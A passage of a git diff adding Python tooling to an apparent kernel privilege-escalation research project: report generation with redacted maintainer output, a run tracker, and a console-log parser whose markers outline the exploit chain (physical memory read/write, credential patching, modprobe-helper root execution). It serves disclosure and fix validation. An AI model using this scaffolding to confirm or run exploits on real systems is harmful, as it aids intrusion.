expect_string(payload["as_of"], "as_of") + if re.fullmatch(r"\d{4}-\d{2}-\d{2}", as_of) is None: + raise ValueError("as_of must be YYYY-MM-DD") + + inputs_payload = expect_object(payload["inputs"], "inputs") + expect_keys(inputs_payload, "inputs", required=_INPUT_NAMES) + inputs: dict[str, ReportInput] = {} + for name, value in inputs_payload.items(): + binding = expect_object(value, f"inputs.{name}") + expect_keys(binding, f"inputs.{name}", required={"path", "sha256"}) + relative_path = expect_string(binding["path"], f"inputs.{name}.path") + path = resolve_beneath_file(root, relative_path, f"inputs.{name}.path") + expected_hash = expect_sha256(binding["sha256"], f"inputs.{name}.sha256") + actual_hash = _sha256(path) + if actual_hash != expected_hash: + raise ValueError( + f"inputs.{name} hash mismatch: expected {expected_hash}, got {actual_hash}" + ) + inputs[name] = ReportInput(name, path, relative_path, expected_hash) + + reproduction = expect_object(payload["reproduction"], "reproduction") + expect_keys( + reproduction, + "reproduction", + required={ + "source", + "runner", + "candidate_fix", + "regression_test", + "commands", + "expected_markers", + "exact_profile", + "safety", + }, + ) + for field in ("source", "runner", "candidate_fix", "regression_test", "exact_profile"): + resolve_beneath_file(root, reproduction[field], f"reproduction.{field}") + for field in ("commands", "expected_markers"): + values = expect_list(reproduction[field], f"reproduction.{field}") + normalized = [ + expect_string(value, f"reproduction.{field}[{index}]") + for index, value in enumerate(values) + ] + if not normalized or len(normalized) != len(set(normalized)): + raise ValueError(f"reproduction.{field} must be a non-empty unique list") + expect_string(reproduction["safety"], "reproduction.safety") + + redaction = expect_object(payload["redaction"], "redaction") + expect_keys( + redaction, + "redaction", + required={ + "remove_internal_candidates", + "omit_absolute_paths", + "omit_exploit_source_body", + }, + ) + if not all(value is True for value in redaction.values()): + raise ValueError("all maintainer redaction controls must be enabled") + return ReportProfile( + source=source, + report_id=report_id, + as_of=as_of, + inputs=inputs, + reproduction=reproduction, + redaction={key: bool(value) for key, value in redaction.items()}, + boundary=expect_string(payload["boundary"], "boundary"), + ) + + +def _target_rows(matrix: Mapping[str, object]) -> list[dict[str, object]]: + rows: list[dict[str, object]] = [] + for target in matrix["targets"]: + rows.append( + { + "id": target["id"], + "classification": target["classification"], + "target": target["target"], + "provenance": target["provenance"], + "backend_supported": target["backend_resolution"]["supported"], + "evidence": [ + { + "kind": binding["kind"], + "file": Path(str(binding["path"])).name, + "sha256": binding["sha256"], + } + for binding in target["evidence"] + ], + "unsupported_reasons": target["unsupported_reasons"], + } + ) + return rows + + +def _basename(value: str) -> str: + return value.replace("\\", "/").rstrip("/").split("/")[-1] + + +def _redact_paths(value: object, key: str = "") -> object: + if isinstance(value, dict): + return { + child_key: _redact_paths(child_value, child_key) + for child_key, child_value in value.items() + } + if isinstance(value, list): + return [_redact_paths(child, key) for child in value] + if isinstance(value, str) and ( + key.endswith("path") + or key in {"profile", "tracker", "matrix", "lock", "log", "initrd"} + or _ABSOLUTE_PATH.search(value) + ): + return _basename(value) + return value + + +def _maintainer_markdown(report: Mapping[str, object]) -> str: + severity = report["severity"] + lines = [ + f"# {report['name']}", + "", + f"- Finding: `{report['finding_id']}`", + f"- Status: `{report['status']}`", + f"- Severity: **{severity['rating']}** ({severity['cvss_3_1']['score']}, `{severity['cvss_3_1']['vector']}`)", + f"- CWE: {', '.join(f'`{value}`' for value in severity['cwe'])}", + f"- Report date: `{report['as_of']}`", + "", + "## Impact", + "", + str(report["demonstrated_impact"]), + "", + "## Root cause and source chain", + "", + str(report["root_cause"]), + "", + f"Sink: {report['source_chain']['sink']}", + "", + "## Target matrix (exact tested and explicit unsupported rows)", + "", + "| Distribution | Kernel | Architecture | Page size | Classification |", + "|---|---|---:|---:|---|", + ] + for row in report["target_provenance"]: + target = row["target"] + lines.append( + "| " + + " | ".join( + ( + str(target["distribution"]), + f"`{target['kernel_release']}`", + str(target["architecture"]), + str(target["page_size"]), + str(row["classification"]), + ) + ) + + " |" + ) + lines.extend( + [ + "", + "## Reliability and controls", + "", + f"- Complete positive logs: {report['reliability']['coverage']['complete_positive_logs']}", + f"- Runtime-confirmed matrix rows: {report['reliability']['runtime_confirmed_targets']}", + f"- Deterministic XArray A/B: {report['fix_validation']['matched_ab']['deterministic']['total_checks']} checks passed after the vulnerable build failed at the targeted invariant.", + f"- Full-kernel matched A/B: {report['fix_validation']['matched_ab']['full_kernel']['vulnerable_successes']} vulnerable LPE trial(s), {report['fix_validation']['matched_ab']['full_kernel']['fixed_clean_trials']} fixed clean trial(s), {report['fix_validation']['matched_ab']['full_kernel']['qemu']['rounds']} fixed race rounds per trial.", + f"- Final verification checks: {report['verification']['check_count']} passed, 0 failed", + "- Fixed-kernel race misses are supporting differential evidence; the deterministic iterator test is the root-cause check, and neither result proves universal prevention.", + "", + "## Fix and disclosure state", + "", + f"- Candidate status: {report['fix_validation']['candidate_status']['status']}", + f"- Candidate fix patch: `{report['fix_validation']['candidate_fix_patch']['sha256']}`", + f"- Regression test patch: `{report['fix_validation']['regression_test_patch']['sha256']}`", + f"- DCO signoff: {report['fix_validation']['matched_ab']['submission']['dco_signoff_status']}", + f"- Accepted fix: {report['disclosure']['accepted_fix']['status']}", + f"- CVE: {report['disclosure']['cve']['status']}", + "", + "## Reproduction boundary", + "", + str(report["reproduction"]["safety"]), + "", + "Expected markers, in order:", + "", + ] + ) + lines.extend( + f"1. `{marker}`" for marker in report["reproduction"]["expected_markers"] + ) + lines.extend(["", "## Claim boundaries", ""]) + lines.extend(f"- {boundary}" for boundary in report["claim_boundaries"]) + lines.extend(["", "## Evidence bindings", ""]) + for name, binding in report["evidence_bindings"].items(): + lines.append(f"- `{name}`: `{binding['sha256']}` (`{binding['path']}`)") + lines.extend( + [ + "", + "## Redactions", + "", + "Exploit source body, machine-local absolute paths, and unconfirmed internal candidate surfaces are omitted. Hashes and exact claim boundaries are retained.", + "", + ] + ) + return "\n".join(lines) + + +def generate_finding_reports( + profile_path: Path, + root: Path, + output_directory: Path, +) -> dict[str, object]: + root = root.resolve(strict=True) + profile = load_report_profile(profile_path, root) + inputs = profile.inputs + catalog = verify_finding_catalog(inputs["findings"].path, root) + current_claims = verify_claim_catalog(inputs["current_claims"].path, root) + matrix = validate_target_matrix( + inputs["targets"].path, + inputs["backend_registry"].path, + ) + disclosure = verify_disclosure_tracker( + inputs["disclosure"].path, + inputs["targets"].path, + inputs["backend_registry"].path, + ) + manifest = verify_manifest( + inputs["evidence_manifest"].path, + inputs["evidence_manifest"].path.parent, + ) + evidence_index = load_object(inputs["evidence_index"].path) + final_verification = load_object(inputs["final_verification"].path) + standalone = load_object(inputs["standalone_evidence"].path) + fix_evidence = verify_fix_validation(inputs["fix_validation"].path, root) + findings = load_object(inputs["findings"].path) + if not all( + ( + catalog["passed"], + current_claims["passed"], + matrix["passed"], + disclosure["passed"], + manifest["passed"], + final_verification.get("passed") is True, + fix_evidence["passed"], + ) + ): + raise ValueError("one or more report prerequisites failed verification") + confirmed = expect_list( + findings["confirmed_vulnerabilities"], "confirmed_vulnerabilities" + ) + if len(confirmed) != 1: + raise ValueError("report profile requires exactly one confirmed finding") + finding = expect_object(confirmed[0], "confirmed_vulnerabilities[0]") + cvss = expect_object(evidence_index["cvss_3_1"], "cvss_3_1") + target_rows = _target_rows(matrix) + runtime_count = sum( + row["classification"] == "runtime_confirmed" for row in target_rows + ) + bindings = { + name: { + "path": binding.relative_path, + "absolute_path": str(binding.path), + "sha256": binding.sha256, + } + for name, binding in sorted(inputs.items()) + } + internal: dict[str, object] = { + "schema_version": 1, + "report_id": profile.report_id, + "distribution": "internal", + "as_of": profile.as_of, + "finding_id": finding["id"], + "name": f"Dirty Crow: {finding['name']}", + "status": finding["status"], + "severity": { + "rating": finding["severity"], + "cvss_3_1": { + "score": cvss["score"], + "vector": cvss["vector"], + }, + "cwe": finding["weaknesses"], + }, + "strict_claim": evidence_index["strict_claim"], + "demonstrated_impact": finding["demonstrated_impact"], + "root_cause": finding["root_cause"], + "source_chain": { + "iterator": "xas_find", + "producer": "concurrent shmem multi-index split", + "sink": finding["sink"], + "lineage_samples": finding["source_lineage_samples"], + "public_sources": evidence_index["public_sources"], + }, + "target_provenance": target_rows, + "runtime_proof": { + "decisive": evidence_index["decisive_runtime_proof"], + "standalone": standalone["final_release_clean_proof"], + "demonstrated_primitives": standalone["finding"]["demonstrated_impact"], + }, + "controls": { + "indexed": evidence_index["controls"], + "diagnostic": standalone["diagnostic_control"], + "release_clean_trials": standalone["release_clean_trials"], + }, + "reliability": { + "coverage": evidence_index["coverage"], + "runtime_confirmed_targets": runtime_count, + "release_clean_trials": standalone["release_clean_trials"], + "exact_scope": standalone["exact_release_test"], + }, + "traces": { + "decisive_runtime_markers": evidence_index["decisive_runtime_proof"], + "diagnostic_control": standalone["diagnostic_control"], + }, + "fix_validation": { + "candidate_status": { + **evidence_index["candidate_patch"], + "status": disclosure["upstream"]["submission_status"], + "status_as_of": profile.as_of, + "boundary": disclosure["boundary"], + }, + "candidate_fix_patch": bindings["candidate_fix_patch"], + "regression_test_patch": bindings["regression_test_patch"], + "matched_ab": fix_evidence, + "accepted_fix": disclosure["accepted_fix"], + }, + "reproduction": { + **profile.reproduction, + "resolved_source": str( + resolve_beneath_file(root, profile.reproduction["source"], "source") + ), + "resolved_runner": str( + resolve_beneath_file(root, profile.reproduction["runner"], "runner") + ), + }, + "verification": { + "check_count": final_verification["check_count"], + "failed_checks": final_verification["failed_checks"], + "evidence_manifest": manifest, + "finding_catalog": catalog, + "current_claim_catalog": current_claims, + "target_matrix_summary": matrix["summary"], + }, + "disclosure": { + key: disclosure[key] + for key in ( + "visibility", + "embargo_status", + "publication_date", + "upstream", + "accepted_fix", + "cve", + "stable_backports", + "vendor_advisories", + "retests", + "next_actions", + "boundary", + ) + }, + "internal_candidates": { + "unconfirmed_surfaces": findings["unconfirmed_surfaces"], + "non_vulnerability_observations": findings["non_vulnerability_observations"], + }, + "evidence_bindings": bindings, + "claim_boundaries": [ + finding["claim_boundary"], + *(claim["limitation"] for claim in current_claims["claims"]), + *standalone["finding"]["not_claimed"], + profile.boundary, + ], + } + internal["canonical_payload_sha256"] = _canonical_hash(internal) + + maintainer = _redact_paths(internal) + if not isinstance(maintainer, dict): + raise AssertionError("maintainer report must remain an object") + maintainer["distribution"] = "maintainer_redacted" + maintainer.pop("internal_candidates", None) + maintainer["runtime_proof"] = { + "classification": standalone["final_release_clean_proof"]["classification"], + "race_round": standalone["final_release_clean_proof"]["race_round"], + "terminal_state": standalone["final_release_clean_proof"]["terminal_state"], + "observed_kernel_error_markers": standalone["final_release_clean_proof"][ + "observed_bug_warning_oops_panic_bad_pmd_markers" + ], + "log_sha256": standalone["final_release_clean_proof"]["log_sha256"], + } + maintainer["redaction"] = { + **profile.redaction, + "omitted_sections": [ + "internal_candidates", + "exploit_source_body", + "machine_local_absolute_paths", + "physical_scan_parameters", + ], + } + for binding in maintainer["evidence_bindings"].values(): + binding.pop("absolute_path", None) + maintainer.pop("canonical_payload_sha256", None) + maintainer["canonical_payload_sha256"] = _canonical_hash(maintainer) + rendered_maintainer = json.dumps(maintainer, sort_keys=True) + if _ABSOLUTE_PATH.search(rendered_maintainer): + raise ValueError("maintainer report still contains an absolute path") + + output_directory = output_directory.resolve() + output_directory.mkdir(parents=True, exist_ok=True) + internal_path = output_directory / "internal-report.json" + maintainer_path = output_directory / "maintainer-report.json" + markdown_path = output_directory / "maintainer-report.md" + write_json_atomic(internal_path, internal) + write_json_atomic(maintainer_path, maintainer) + _write_text_atomic(markdown_path, _maintainer_markdown(maintainer)) + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow evidence-bound report generation", + "passed": True, + "report_id": profile.report_id, + "outputs": { + "internal_json": { + "path": str(internal_path), + "sha256": _sha256(internal_path), + }, + "maintainer_json": { + "path": str(maintainer_path), + "sha256": _sha256(maintainer_path), + }, + "maintainer_markdown": { + "path": str(markdown_path), + "sha256": _sha256(markdown_path), + }, + }, + "runtime_confirmed_targets": runtime_count, + "evidence_binding_count": len(bindings), + "boundary": profile.boundary, + } + report["canonical_payload_sha256"] = _canonical_hash(report) + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/runs.py b/dirty-crow-xarray-lpe/framework/dirtycrow/runs.py new file mode 100644 index 0000000..517eb09 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/runs.py @@ -0,0 +1,292 @@ +from __future__ import annotations + +from contextlib import contextmanager +from datetime import datetime, timezone +import hashlib +import json +import os +from pathlib import Path +import re +import shutil +import socket +from typing import Iterable, Iterator, Mapping +from uuid import uuid4 + +from .strictjson import write_json_atomic + +_STEP_ID = re.compile(r"[a-z0-9][a-z0-9._-]{0,63}\Z") +_TERMINAL = {"completed", "failed"} + + +class RunStoreError(ValueError): + pass + + +def _now() -> str: + return datetime.now(timezone.utc).isoformat().replace("+00:00", "Z") + + +def _sha256(path: Path) -> str: + digest = hashlib.sha256() + with path.open("rb") as stream: + for block in iter(lambda: stream.read(1024 * 1024), b""): + digest.update(block) + return digest.hexdigest() + + +def _load(path: Path) -> dict[str, object]: + payload = json.loads(path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RunStoreError(f"expected object in {path}") + return payload + + +def _validate_plan(plan: Mapping[str, object]) -> list[dict[str, object]]: + if set(plan) != {"schema_version", "title", "target_id", "steps"}: + raise RunStoreError("plan keys must be schema_version, title, target_id, and steps") + if plan["schema_version"] != 1 or not isinstance(plan["title"], str) or not plan["title"]: + raise RunStoreError("invalid run plan schema or title") + if not isinstance(plan["target_id"], str) or not plan["target_id"]: + raise RunStoreError("target_id must be non-empty") + raw_steps = plan["steps"] + if not isinstance(raw_steps, list) or not raw_steps: + raise RunStoreError("steps must be a non-empty list") + steps: list[dict[str, object]] = [] + identifiers: set[str] = set() + for index, value in enumerate(raw_steps): + if not isinstance(value, dict) or set(value) != {"id", "kind", "depends_on", "parameters"}: + raise RunStoreError(f"step {index} has invalid keys") + step_id = value["id"] + if not isinstance(step_id, str) or _STEP_ID.fullmatch(step_id) is None or step_id in identifiers: + raise RunStoreError(f"step {index} has invalid or duplicate id") + identifiers.add(step_id) + if not isinstance(value["kind"], str) or _STEP_ID.fullmatch(value["kind"]) is None: + raise RunStoreError(f"step {step_id} has invalid kind") + dependencies = value["depends_on"] + if not isinstance(dependencies, list) or not all(isinstance(item, str) for item in dependencies): + raise RunStoreError(f"step {step_id} depends_on must be a string list") + if not isinstance(value["parameters"], dict): + raise RunStoreError(f"step {step_id} parameters must be an object") + steps.append(dict(value)) + for step in steps: + unknown = sorted(set(step["depends_on"]) - identifiers) + if unknown or step["id"] in step["depends_on"]: + raise RunStoreError(f"step {step['id']} has invalid dependencies: {unknown}") + + remaining = {str(step["id"]): set(step["depends_on"]) for step in steps} + resolved: set[str] = set() + while remaining: + ready = {step_id for step_id, dependencies in remaining.items() if dependencies <= resolved} + if not ready: + raise RunStoreError("step dependency graph contains a cycle") + resolved.update(ready) + for step_id in ready: + del remaining[step_id] + return steps + + +def _run_directory(store: Path, run_id: str) -> Path: + if _STEP_ID.fullmatch(run_id) is None: + raise RunStoreError(f"invalid run id: {run_id!r}") + return store.resolve() / "runs" / run_id + + +def create_run(store: Path, plan: Mapping[str, object]) -> dict[str, object]: + steps = _validate_plan(plan) + run_id = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") + "-" + uuid4().hex[:12] + run = _run_directory(store, run_id) + run.mkdir(parents=True, exist_ok=False) + created = _now() + plan_payload = dict(plan) + plan_payload["canonical_payload_sha256"] = hashlib.sha256( + json.dumps(plan, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + state: dict[str, object] = { + "schema_version": 1, + "run_id": run_id, + "status": "pending", + "created_at": created, + "updated_at": created, + "resume_count": 0, + "steps": [ + { + "id": step["id"], + "kind": step["kind"], + "depends_on": list(step["depends_on"]), + "status": "pending", + "attempts": 0, + "started_at": None, + "finished_at": None, + "artifacts": [], + "error": None, + } + for step in steps + ], + } + write_json_atomic(run / "plan.json", plan_payload) + write_json_atomic(run / "state.json", state) + (run / "events.jsonl").write_text( + json.dumps({"time": created, "event": "run_created", "run_id": run_id}, sort_keys=True) + "\n", + encoding="utf-8", + ) + return state + + +def load_run(store: Path, run_id: str) -> dict[str, object]: + run = _run_directory(store, run_id) + state = _load(run / "state.json") + if state.get("run_id") != run_id: + raise RunStoreError("run state id mismatch") + return state + + +def _event(run: Path, event: Mapping[str, object]) -> None: + payload = {"time": _now(), **event} + with (run / "events.jsonl").open("a", encoding="utf-8", newline="\n") as stream: + stream.write(json.dumps(payload, sort_keys=True, separators=(",", ":")) + "\n") + stream.flush() + os.fsync(stream.fileno()) + + +@contextmanager +def run_lock(store: Path, run_id: str) -> Iterator[Path]: + run = _run_directory(store, run_id) + lock = run / "run.lock" + descriptor: int | None = None + try: + descriptor = os.open(lock, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) + claim = json.dumps( + {"host": socket.gethostname(), "pid": os.getpid(), "acquired_at": _now()}, + sort_keys=True, + ).encode() + os.write(descriptor, claim) + os.fsync(descriptor) + os.close(descriptor) + descriptor = None + yield run + except FileExistsError as error: + raise RunStoreError(f"run is already locked: {run_id}") from error + finally: + if descriptor is not None: + os.close(descriptor) + if lock.exists(): + lock.unlink() + + +def _save_state(run: Path, state: dict[str, object]) -> None: + state["updated_at"] = _now() + write_json_atomic(run / "state.json", state) + + +def next_ready_step(state: Mapping[str, object]) -> str | None: + steps = state.get("steps") + if not isinstance(steps, list): + raise RunStoreError("run state steps are invalid") + completed = {str(step["id"]) for step in steps if isinstance(step, dict) and step.get("status") == "completed"} + for step in steps: + if not isinstance(step, dict) or step.get("status") != "pending": + continue + dependencies = step.get("depends_on") + if isinstance(dependencies, list) and set(dependencies) <= completed: + return str(step["id"]) + return None + + +def start_step(store: Path, run_id: str, step_id: str) -> dict[str, object]: + with run_lock(store, run_id) as run: + state = _load(run / "state.json") + expected = next_ready_step(state) + if expected != step_id: + raise RunStoreError(f"step is not next-ready: requested={step_id}, expected={expected}") + step = next(row for row in state["steps"] if row["id"] == step_id) + step["status"] = "running" + step["attempts"] = int(step["attempts"]) + 1 + step["started_at"] = _now() + step["finished_at"] = None + step["error"] = None + state["status"] = "running" + _save_state(run, state) + _event(run, {"event": "step_started", "step_id": step_id, "attempt": step["attempts"]}) + return state + + +def ingest_artifact(store: Path, source: Path) -> dict[str, object]: + source = source.resolve(strict=True) + digest = _sha256(source) + root = store.resolve() / "artifacts" / "sha256" / digest[:2] + root.mkdir(parents=True, exist_ok=True) + target = root / digest + if not target.exists(): + temporary = root / f".{digest}.{uuid4().hex}.tmp" + shutil.copyfile(source, temporary) + if _sha256(temporary) != digest: + temporary.unlink(missing_ok=True) + raise RunStoreError(f"artifact changed while ingesting: {source}") + temporary.replace(target) + elif _sha256(target) != digest: + raise RunStoreError(f"content-addressed artifact is corrupt: {target}") + return { + "sha256": digest, + "bytes": target.stat().st_size, + "store_path": str(target), + "source_path": str(source), + } + + +def complete_step( + store: Path, + run_id: str, + step_id: str, + artifacts: Iterable[Path] = (), +) -> dict[str, object]: + records = [ingest_artifact(store, path) for path in artifacts] + with run_lock(store, run_id) as run: + state = _load(run / "state.json") + step = next((row for row in state["steps"] if row["id"] == step_id), None) + if step is None or step["status"] != "running": + raise RunStoreError(f"step is not running: {step_id}") + step["status"] = "completed" + step["finished_at"] = _now() + step["artifacts"] = records + statuses = {str(row["status"]) for row in state["steps"]} + state["status"] = "completed" if statuses <= {"completed"} else "running" + _save_state(run, state) + _event(run, {"event": "step_completed", "step_id": step_id, "artifacts": [row["sha256"] for row in records]}) + return state + + +def fail_step(store: Path, run_id: str, step_id: str, error: str) -> dict[str, object]: + if not error: + raise RunStoreError("failure error must be non-empty") + with run_lock(store, run_id) as run: + state = _load(run / "state.json") + step = next((row for row in state["steps"] if row["id"] == step_id), None) + if step is None or step["status"] != "running": + raise RunStoreError(f"step is not running: {step_id}") + step["status"] = "failed" + step["finished_at"] = _now() + step["error"] = error + state["status"] = "failed" + _save_state(run, state) + _event(run, {"event": "step_failed", "step_id": step_id, "error": error}) + return state + + +def resume_run(store: Path, run_id: str) -> dict[str, object]: + with run_lock(store, run_id) as run: + state = _load(run / "state.json") + if state.get("status") == "completed": + return state + reset: list[str] = [] + for step in state["steps"]: + if step["status"] in {"running", "failed"}: + step["status"] = "pending" + step["started_at"] = None + step["finished_at"] = None + step["error"] = None + reset.append(str(step["id"])) + state["status"] = "pending" if next_ready_step(state) is not None else "failed" + state["resume_count"] = int(state.get("resume_count", 0)) + 1 + _save_state(run, state) + _event(run, {"event": "run_resumed", "reset_steps": reset}) + return state diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/runtime_evidence.py b/dirty-crow-xarray-lpe/framework/dirtycrow/runtime_evidence.py new file mode 100644 index 0000000..967f9c7 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/runtime_evidence.py @@ -0,0 +1,619 @@ +from __future__ import annotations + +import re +from pathlib import Path +from typing import Any + +from .strictjson import sha256_file + +SCHEMA_VERSION = 2 +PROOF_MARKERS = ( + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED", + "ROOT_PROOF", + "POST_ROOT_CREATE", + "MODPROBE_ROOT_MARKER", +) +_BOUNDED_PROOF_LABELS = frozenset( + (*PROOF_MARKERS, "ROOT_IDENTITY", "ROOT_HELPER_EXECUTION_CONFIRMED") +) +CRASH_MARKERS = ( + "BUG:", + "WARNING:", + "Oops:", + "Kernel panic", + "Bad page", + "bad pmd", +) +_EVENT_LABELS = { + "KERNEL_RELEASE", + "EXPLOIT_CONFIG", + "EXPLOIT_IDENTITY", + "EXPLOIT_CAPS", + "EXPLOIT_NAMESPACE", + "EXPLOIT_REFUSED", + "ATTESTATION_ACCEPTED", + "ATTESTATION_RECEIPT_ACCEPTED", + "ATTESTATION_REJECTED", + "PROOF_CONTRACT_REJECTED", + "PRE_ROOT_PROOF", + "TRIGGER_START", + "TRIGGER_SOURCE_READY", + "TRIGGER_UNSUPPORTED", + "TRIGGER_STAGE_FAILED", + "TRIGGER_COMPLETE", + "PAGE_TABLE_PRIMITIVE", + "PRIMITIVE_NOT_OBSERVED", + "SAFE_FAKE_SPAN", + "ARBITRARY_PHYSICAL_RW", + "ARBITRARY_PHYSICAL_RW_NOT_VERIFIED", + "CRED_PATCH", + "CREDENTIAL_PATCH_FAILED", + "ROOT_IDENTITY", + "ROOT_PROOF", + "ROOT_PROOF_FAILED", + "POST_ROOT_CREATE", + "POST_ROOT_CREATE_FAILED", + "MODPROBE_ROOT_MARKER", + "ROOT_HELPER_EXECUTION_CONFIRMED", + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED", + "ROOT_PAYLOAD", + "MM_HOLDER", + "MM_HOLDER_FAILED", + "RECOVERY_ACTION", + "CONTROLLED_CRASH", + "EXPLOIT_STAGE_DONE", +} +_FIELD = re.compile(r"(?P[A-Za-z_][A-Za-z0-9_]*)=(?P[^\s]+)") +_INTEGER = re.compile(r"-?[0-9]+\Z") +_HEXADECIMAL = re.compile(r"-?0[xX][0-9a-fA-F]+\Z") +_OCTAL = re.compile(r"0[0-7]+\Z") +_POST_ROOT_PROOF_PATH = re.compile( + r"/root/filemap-xarray-post-root-[1-9][0-9]*\Z" +) +_MODPROBE_MARKER_PATH = re.compile(r"/tmp/x[0-9a-f]{2}\.marker\Z") +_REQUIRED_INITIAL_IDS = ("uid", "euid", "suid", "gid", "egid", "sgid") + + +def _typed_value(key: str, value: str) -> object: + if value == "true": + return True + if value == "false": + return False + try: + if _HEXADECIMAL.fullmatch(value): + return int(value, 16) + if key == "mode" and _OCTAL.fullmatch(value): + return int(value, 8) + if _INTEGER.fullmatch(value): + return int(value, 10) + except ValueError: + pass + return value + + +def _event_from_line(line: str, line_number: int) -> dict[str, object] | None: + label, separator, remainder = line.rstrip("\r\n").partition(" ") + if label not in _EVENT_LABELS: + return None + fields = { + match.group("key"): _typed_value(match.group("key"), match.group("value")) + for match in _FIELD.finditer(remainder) + } + event: dict[str, object] = { + "line": line_number, + "label": label, + "fields": fields, + } + if separator and not fields: + event["text"] = remainder + return event + + +def _events_by_label(events: list[dict[str, object]]) -> dict[str, list[dict[str, object]]]: + result: dict[str, list[dict[str, object]]] = {} + for event in events: + label = event["label"] + assert isinstance(label, str) + fields = event["fields"] + assert isinstance(fields, dict) + result.setdefault(label, []).append(fields) + return result + + +def _has_fields( + grouped: dict[str, list[dict[str, object]]], label: str, **required: object +) -> bool: + return any( + all(fields.get(key) == value for key, value in required.items()) + for fields in grouped.get(label, []) + ) + + +def _last_fields( + grouped: dict[str, list[dict[str, object]]], label: str +) -> dict[str, object] | None: + matches = grouped.get(label) + return matches[-1] if matches else None + + +def evidence_contract() -> dict[str, object]: + return { + "initial_state": ( + "non-root real/effective/saved UID and GID, effective capabilities 0, " + "no_new_privs=1, initial user namespace, and root proof unreadable" + ), + "host_attestation": ( + "backstep-proof requires one delivered host token and a matching " + "ATTESTATION_ACCEPTED marker; the helper variant also requires a " + "matching ATTESTATION_RECEIPT_ACCEPTED marker" + ), + "host_recovery": ( + "confirmed primitive proof requires QEMU exit 0, no host deadline or " + "forced termination, a guest RECOVERY_ACTION, and a clean guest poweroff" + ), + "primitive": "PAGE_TABLE_PRIMITIVE plus ARBITRARY_PHYSICAL_RW write_ok=1", + "direct_variant": ( + "UID/GID 0 identity, required root-only read, root-owned mode-0400 " + "ephemeral proof file, and credential transition marker" + ), + "helper_variant": ( + "root modprobe-helper execution plus root-owned mode-0400 marker and " + "kernel privilege transition marker" + ), + "proof_only": ( + "only fixed-path root proof reads, fixed-prefix mode-0400 proof files, " + "bounded modprobe-helper markers, and immediate poweroff are accepted" + ), + "forbidden_payload_labels": ["ROOT_PAYLOAD", "PROOF_CONTRACT_REJECTED"], + "forbidden_crash_markers": list(CRASH_MARKERS), + } + + +def analyze_console(console_path: Path) -> dict[str, object]: + events: list[dict[str, object]] = [] + crash_found = {marker: False for marker in CRASH_MARKERS} + if not console_path.is_file(): + return { + "console_present": False, + "classification": "missing_console", + "initial_state_valid": False, + "initial_state_missing": list( + ("EXPLOIT_IDENTITY", "EXPLOIT_CAPS", "EXPLOIT_NAMESPACE", "PRE_ROOT_PROOF") + ), + "page_table_primitive": False, + "physical_rw": False, + "direct_credential_proof": False, + "helper_execution_proof": False, + "proof_completion_bounded": False, + "proof_completion_line": None, + "proof_paths_bounded": False, + "proof_contract_valid": False, + "full_proof": False, + "security_impact_observed": False, + "forbidden_payload": False, + "crash_markers": ["missing console log"], + "event_counts": {}, + "events": [], + } + + with console_path.open("r", encoding="utf-8", errors="replace") as stream: + for line_number, line in enumerate(stream, 1): + for marker in CRASH_MARKERS: + if not crash_found[marker] and marker in line: + crash_found[marker] = True + event = _event_from_line(line, line_number) + if event is not None: + events.append(event) + + grouped = _events_by_label(events) + identity = _last_fields(grouped, "EXPLOIT_IDENTITY") + capabilities = _last_fields(grouped, "EXPLOIT_CAPS") + namespace = _last_fields(grouped, "EXPLOIT_NAMESPACE") + pre_root = _last_fields(grouped, "PRE_ROOT_PROOF") + initial_checks = { + "EXPLOIT_IDENTITY": bool( + identity + and all(isinstance(identity.get(field), int) for field in _REQUIRED_INITIAL_IDS) + and all(identity[field] != 0 for field in _REQUIRED_INITIAL_IDS) + and identity.get("nnp") == 1 + ), + "EXPLOIT_CAPS": bool( + capabilities + and capabilities.get("capget_rc") == 0 + and capabilities.get("effective") == 0 + ), + "EXPLOIT_NAMESPACE": bool(namespace and namespace.get("initial") == 1), + "PRE_ROOT_PROOF": bool( + pre_root + and pre_root.get("path") == "/root/filemap-xarray-root-proof" + and pre_root.get("required") == 1 + and pre_root.get("open") == 0 + ), + } + initial_state_valid = all(initial_checks.values()) + page_table_primitive = bool(grouped.get("PAGE_TABLE_PRIMITIVE")) + physical_rw = _has_fields(grouped, "ARBITRARY_PHYSICAL_RW", write_ok=1) + + root_identity = _last_fields(grouped, "ROOT_IDENTITY") + root_identity_valid = bool( + root_identity + and all(root_identity.get(field) == 0 for field in _REQUIRED_INITIAL_IDS) + and root_identity.get("capget_rc") == 0 + ) + root_proof = _last_fields(grouped, "ROOT_PROOF") + root_read = bool( + root_proof + and root_proof.get("path") == "/root/filemap-xarray-root-proof" + and root_proof.get("required") == 1 + and root_proof.get("open") == 1 + and root_proof.get("data") == "filemap-xarray-root-proof" + ) + post_root = _last_fields(grouped, "POST_ROOT_CREATE") + post_root_path = post_root.get("path") if post_root else None + proof_file = bool( + post_root + and isinstance(post_root_path, str) + and _POST_ROOT_PROOF_PATH.fullmatch(post_root_path) + and post_root.get("created") == 1 + and post_root.get("uid") == 0 + and post_root.get("gid") == 0 + and post_root.get("mode") == 0o400 + and post_root.get("data") == "filemap-xarray-post-root" + ) + direct_transition = _has_fields( + grouped, "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED", to_uid=0 + ) + direct_proof = root_identity_valid and root_read and proof_file and direct_transition + + helper_marker_fields = _last_fields(grouped, "MODPROBE_ROOT_MARKER") + helper_marker_path = ( + helper_marker_fields.get("path") if helper_marker_fields else None + ) + helper_marker = bool( + helper_marker_fields + and isinstance(helper_marker_path, str) + and _MODPROBE_MARKER_PATH.fullmatch(helper_marker_path) + and helper_marker_fields.get("uid") == 0 + and helper_marker_fields.get("gid") == 0 + and helper_marker_fields.get("mode") == 0o400 + and helper_marker_fields.get("child_status") == 0 + ) + helper_transition = _has_fields( + grouped, + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED", + root_execution="modprobe_helper", + ) + helper_execution = _has_fields( + grouped, + "ROOT_HELPER_EXECUTION_CONFIRMED", + uid=0, + euid=0, + gid=0, + egid=0, + ) + helper_proof = ( + root_identity_valid + and 